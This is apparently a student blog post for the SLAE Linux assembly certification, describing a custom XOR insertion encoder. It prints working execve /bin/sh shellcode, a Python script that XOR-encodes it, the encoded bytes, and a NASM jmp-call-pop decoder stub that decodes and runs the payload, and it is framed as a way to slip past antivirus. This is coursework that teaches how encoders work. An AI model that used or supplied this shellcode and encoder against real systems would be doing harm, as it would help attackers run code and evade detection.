Links
Comment on page

0x04 SLAE - Insertion Encoder

Introduction

The goal of the fourth assignment is to create a custom Insertion Encoder like the one presented in the course. In the Insertion Encoder there is an encoder, which is the code that will encode the shellcode. With the encoder, it can be a lot easier to understand how the encoder is encoding the shellcode since you have the code. I choose to create my encoder in Python using a xor instruction. Then, the decoder is the assembly code that will ensure to decode the shellcode encoded. Since, it is in assembly, it need to be reversed to understand how the decoder is working, which is a bit more difficult. So, the Insertion Encoder can be a good way to evade some sort of anti virus. However, today, anti virus are very sophisticated and our simple Insertion Would be detected because the xor key is in the decoder.

The encoder

The following script represent the encoder of the shellcode exercise.
encoder.py
#!/usr/bin/python
# Simple /bin/sh shellcode
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
key = 22
for x in bytearray(shellcode):
# Simple Xor encoding
x = x ^ key
encoded += hex(x) + ","
encoded = encoded[:-1] + "," + hex(key)
print encoded
print "Len : {}".format(len(bytearray(shellcode)))
As you can see in the code above, there is the simple shellcode which execute /bin/sh to get a shell. Then, the for loop is xoring each byte with the integer 22 . In that way, the shellcode will just be gibberish since each byte has been xored with a random integer value. Then, the script is printing the encoded shellcode to be able to copy it in the assembly decoder.

Encoder Result

Python script encoder
0x27,0xd6,0x46,0x7e,0x39,0x39,0x65,0x7e,0x7e,0x39,0x74,0x7f,0x78,0x9f,0xf5,0x46,0x9f,0xf4,0x45,0x9f,0xf7,0xa6,0x1d,0xdb,0x96,0x16

The decoder

The decoder part will do the opposite of the encoder. Instead of xoring each byte with 22 , it will xor each encoded byte with 22 .
For example, in the encoder the xor was :
# Example with the first byte
a = 22
b = 49 (0x31 in hex)
22 ^ 49 = 39 (0x27 in hex)
For the decoder, it will be :
# Example with the first byte
a = 22
c = 39 (0x27 in hex)
22 ^ 39 = 49 (0x31)
So, doing the inverse of the xor, the result is the original byte value when the xor decoding is using the same key, which is 22 in this case.

The assembly decoder

decoder.nasm
; Decoder
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
decode:
xor byte [esi], 0x16
jz EncodedShellcode
inc esi
jmp short decode
call_shellcode:
call decoder
EncodedShellcode: db 0x27,0xd6,0x46,0x7e,0x39,0x39,0x65,0x7e,0x7e,0x39,0x74,0x7f,0x78,0x9f,0xf5,0x46,0x9f,0xf4,0x45,0x9f,0xf7,0xa6,0x1d,0xdb,0x96,0x16
In the assembly code above, we are using the jmp, call, pop technique to get the EncodedShellcode address and to avoid null byte in the shellcode. The decode function will xor each byte of the EncodedShellcode with  0x16 (22 in int)until the xor give zero. Once it give zero, this mean that all the byte has been xored. So, in that way, the last value is the same value as the key, which is 0x16 , because 0x16 ^ 0x16 = 0x00.
Running the decoder shellcode:
Decoder

Conclusion

The insertion decoder can be useful to hide a shellcode using a custom insertion technique. In this case, I have decided to xor each of the shellcode byte with an random value. The insertion decoder presented in the course, is a bit different since it append a 0xaa between each byte in the shellcode. However, this kind of method can be easily detected.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
Student ID: SLAE-1374